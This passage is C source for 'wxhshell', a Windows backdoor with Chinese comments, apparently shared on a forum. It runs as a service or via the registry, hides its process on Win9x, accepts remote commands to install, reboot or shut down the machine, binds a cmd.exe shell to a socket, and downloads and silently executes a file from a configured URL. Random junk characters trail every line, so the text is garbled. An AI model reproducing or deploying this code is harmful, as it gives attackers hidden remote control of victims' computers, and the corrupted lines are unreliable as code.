    switch(cmd[0]) { 8 1Kf X {|  
  dtR"5TL<~}  
  // 帮助 /z-rBfdy^  
  case '?': { S8#0Vo$)a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W;OGdAa_  
    break; # ?2*I2_  
  } tRoSq;VrS  
  // 安装 mo| D  
  case 'i': { eGEwXza 4  
    if(Install()) ^N={4'G)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $nE{%?n-#  
    else 1bV G%N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'NtI bS  
    break; >+%#m'Y&&  
    } R{@saa5I(>  
  // 卸载 bg zd($)u  
  case 'r': { }3*<sxw7<  
    if(Uninstall()) ^OY$ W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cv,WG]E7(  
    else #z(:n5$F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |nQfgl=V  
    break; 84(Jo_9  
    } P#A,(Bke3  
  // 显示 wxhshell 所在路径 XVs]Y'* x  
  case 'p': { zB%~=@Q^6  
    char svExeFile[MAX_PATH]; pf8'xdExH)  
    strcpy(svExeFile,"\n\r"); 85E$m'0O  
      strcat(svExeFile,ExeFile); ko}& X=  
        send(wsh,svExeFile,strlen(svExeFile),0); ='"Yj  
    break; \'y]mB~k  
    } Vl^x_gs#_]  
  // 重启 8-G )lyfj  
  case 'b': { k4s V6f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b~^'P   
    if(Boot(REBOOT)) =i)%AnZ^9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VN)WBv  
    else { vsI;ooR>  
    closesocket(wsh); R2)@Q  
    ExitThread(0); C@qWour  
    } EE'2<"M  
    break; 4u5j 7`O  
    } ]O|>nTa  
  // 关机 0/ QDfA?  
  case 'd': { >v,X:B?+FL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); od!44p]  
    if(Boot(SHUTDOWN)) ranem0KQ)]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); phDIUhL$z  
    else { 1L <TzQ  
    closesocket(wsh); U 4d7-&U  
    ExitThread(0); dC6>&@ VX  
    } I!/EQO|  
    break; %E%=Za  
    } .w4|$.H  
  // 获取shell  m}yu4  
  case 's': { Oem1=QpaC  
    CmdShell(wsh); ;W{z"L;nX  
    closesocket(wsh); R6<'J?k  
    ExitThread(0); 8$-MUF,  
    break; 6Jgl"Jw8  
  } j"jssbu}  
  // 退出 0Px Hf*  
  case 'x': { JlSqTfA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nDn+lWA=g  
    CloseIt(wsh); 'N{1b_v?  
    break; ,.Ofv):=  
    } `)O9 '568  
  // 离开 N~|f^#L  
  case 'q': { 0/~p1SSun  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [ &Wy $  
    closesocket(wsh); Y's=31G@  
    WSACleanup(); }P2*MrkcHB  
    exit(1); 0-p^o A  
    break; Ow-ejo  
        } p7+{xXf  
  } 1 k!gR  
  } "pt[Nm76)8  
,q*|R O  
  // 提示信息 \WE/#To  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0faf4LzU!  
} NL.3qx  
  } .;?ha'  
lsV>sW4]Z  
  return; Gh_5$@ hF  
} t_^cqEr  
&# fPJc  
// shell模块句柄 di_N}x*  
int CmdShell(SOCKET sock) -AnJLFY  
{ ~%\vX  
STARTUPINFO si; ;R >>,&g  
ZeroMemory(&si,sizeof(si)); ,pcyU\68v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; , JH*l:7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #NT~GhWFf  
PROCESS_INFORMATION ProcessInfo; LEKE+775  
char cmdline[]="cmd"; a3A-N] ;f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~a=]w#-KD  
  return 0; AYNz {9  
} <!dZ=9^^ 1  
Tx ?s?DwC  
// 自身启动模式 1mgw0QO  
int StartFromService(void) ^/2O_C  
{ [GyPwb-  
typedef struct ]@SEOc@ j  
{ 1q'_J?Xmd  
  DWORD ExitStatus; s,-<P1}/  
  DWORD PebBaseAddress; VIWH~UR)&!  
  DWORD AffinityMask; mmFcch$Jv  
  DWORD BasePriority; Iv7BIK^0  
  ULONG UniqueProcessId; iMVQt1/  
  ULONG InheritedFromUniqueProcessId; "=?JIQ  
}   PROCESS_BASIC_INFORMATION; e>Q:j_?.e  
P Jb /tKC  
PROCNTQSIP NtQueryInformationProcess; 0lt1/PEKx2  
(Vey]J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^N}{M$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7<jr0)  
&}gH!5L m  
  HANDLE             hProcess; fk^DkV^<  
  PROCESS_BASIC_INFORMATION pbi; 3Mh_ &%!O  
o)\EfPT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Qkj}  
  if(NULL == hInst ) return 0; Pd:tRY+t/  
]I~BgE;C9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5'Mw{`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bAY >o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k="w EZ;Q  
L#vk77  
  if (!NtQueryInformationProcess) return 0; W[!bF'- 10  
n\JSt}A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '&/Y}]  
  if(!hProcess) return 0; 8QFRX'i  
I<lkociUCG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #r&yH^-  
=aT8=ihP  
  CloseHandle(hProcess); "gpfD-BX  
N*w{NB7L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A}!D&s&UH  
if(hProcess==NULL) return 0; |b Z 58{}  
Y0'~u+KS`5  
HMODULE hMod; Sr10ot&ox  
char procName[255]; @ceL9#:uc  
unsigned long cbNeeded; VjSbx'i  
D5T0o"A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^sZHy4-yK#  
/4BYH?*  
  CloseHandle(hProcess); %'F[(VB   
Se/]J<]  
if(strstr(procName,"services")) return 1; // 以服务启动 !Je!;mEvI  
q[Y* .%~  
  return 0; // 注册表启动 YWhS<}^  
} 1p>&j%dk  
kJXy )  
// 主模块 Re\V<\$J  
int StartWxhshell(LPSTR lpCmdLine) "'8o8g  
{ o AS 'Z|  
  SOCKET wsl; ?IG+U TI  
BOOL val=TRUE; Qa16x<Xlm  
  int port=0; xJzO?a'  
  struct sockaddr_in door; . =A|  
">I50#bT  
  if(wscfg.ws_autoins) Install(); D2Kh+~l  
ZONe}tv:  
port=atoi(lpCmdLine); D/zp_9B  
5|[\Se#  
if(port<=0) port=wscfg.ws_port; EJrQ9"x&n  
T8QRO%t  
  WSADATA data; BI)$aR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \h/aD1 &g  
wmS:*U2sc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DCtrTX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5@Lz4 `  
  door.sin_family = AF_INET; 0/%VejZ'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ab5z&7Re6  
  door.sin_port = htons(port); (OK;*ZH+T@  
2:S 4M.j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4THGHS^  
closesocket(wsl); +l$BUX  
return 1; ~4tu*\P  
} g*#.yC1/  
&mvC<_1n  
  if(listen(wsl,2) == INVALID_SOCKET) { uod&'g{N  
closesocket(wsl); U,u\o@3A  
return 1; {7X80KI  
} PM%Gsy]q  
  Wxhshell(wsl); wN!5[N"  
  WSACleanup(); 3+jqf@fO  
fL&bN[XA"$  
return 0; Xn3Ph!\Z5e  
p[%FH?  
} :>g*!hpb  
O9W|&LAL  
// 以NT服务方式启动 Ik4U+'z6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E|d 8vt  
{ VS\~t  
DWORD   status = 0; &De&ZypU  
  DWORD   specificError = 0xfffffff; wg=ge]E5  
<J QvuC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3Ga! )  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h~ =UFE%'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?8Hr 9  
  serviceStatus.dwWin32ExitCode     = 0; 0xM\+R~,  
  serviceStatus.dwServiceSpecificExitCode = 0; _ZfJfd~  
  serviceStatus.dwCheckPoint       = 0; *1KrI9i  
  serviceStatus.dwWaitHint       = 0; \Z^YaKj&  
58Fan*fO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O?9&6x   
  if (hServiceStatusHandle==0) return; PSQ5/l?\>  
PI#xRKt  
status = GetLastError(); 1/YWDxo,  
  if (status!=NO_ERROR) {? jr  
{ ["\Y-6"l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gI qYIt  
    serviceStatus.dwCheckPoint       = 0; /JfRy%31  
    serviceStatus.dwWaitHint       = 0; 8rXu^  
    serviceStatus.dwWin32ExitCode     = status; 7N / v  
    serviceStatus.dwServiceSpecificExitCode = specificError; h$FpH\-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :U>o;  
    return; mh"&KX86W  
  } LuB-9[^<  
 DKu4e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YAqv:  
  serviceStatus.dwCheckPoint       = 0; lUd/^u`  
  serviceStatus.dwWaitHint       = 0; ~1Q$FgLk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A7|!&fi  
} G-[fz  
|~Hlv^6H  
// 处理NT服务事件,比如:启动、停止 t/\J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N*N@wJy:5  
{ vl8Ums} +  
switch(fdwControl) 4 e1=b,  
{ Rdd[b?  
case SERVICE_CONTROL_STOP: q"@Y2lhD!  
  serviceStatus.dwWin32ExitCode = 0; :[oFe/1K!4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -9)<[>:  
  serviceStatus.dwCheckPoint   = 0; /AX1LYlr  
  serviceStatus.dwWaitHint     = 0; UUGwXq96i  
  { +(*S@V$c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y,i:BQJ<  
  } p=vu<xXtD  
  return; q$Z.5EN  
case SERVICE_CONTROL_PAUSE: lV/-jkR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x'OE},>i  
  break; BD+V{x}P  
case SERVICE_CONTROL_CONTINUE: st"uD\L1p:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `VT[YhO#}  
  break; >L F y:a  
case SERVICE_CONTROL_INTERROGATE: C~Fdo0D  
  break; !%<bLD8  
}; o qa]iBO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #I jG[a-  
} SR@yG:~  
m0+X 109  
// 标准应用程序主函数 O)78 iEXi|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kGsd3t!'  
{ e)kN%JqW  
}=CL/JHz  
// 获取操作系统版本 pBV_'A}ioh  
OsIsNt=GetOsVer(); [;3` Aw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1Uzsw  
dYdZt<6W<(  
  // 从命令行安装 zi7,?bD  
  if(strpbrk(lpCmdLine,"iI")) Install(); <u2rb6  
E_-3G<rt  
  // 下载执行文件 Te=[tx~x  
if(wscfg.ws_downexe) { @C]]VE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 42X N*br  
  WinExec(wscfg.ws_filenam,SW_HIDE); :r%H sur(  
} +cS%b}O`$  
by z2u  
if(!OsIsNt) { G9y 0;br  
// 如果时win9x,隐藏进程并且设置为注册表启动 wg<UCmfu!  
HideProc(); EHk(\1!V  
StartWxhshell(lpCmdLine); Ve,h]/G  
} T=6fZ;7  
else 2%Bq[SMuN  
  if(StartFromService()) C{mL]ds<  
  // 以服务方式启动 y{CyjYpz^  
  StartServiceCtrlDispatcher(DispatchTable); !QK ~l  
else XRi/O)98o  
  // 普通方式启动 ts BPQ 8Ne  
  StartWxhshell(lpCmdLine); o4I&?d7;"  
M{#  
return 0; $FV!HD  
}
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只看该作者 1 发表于: 2006-10-10
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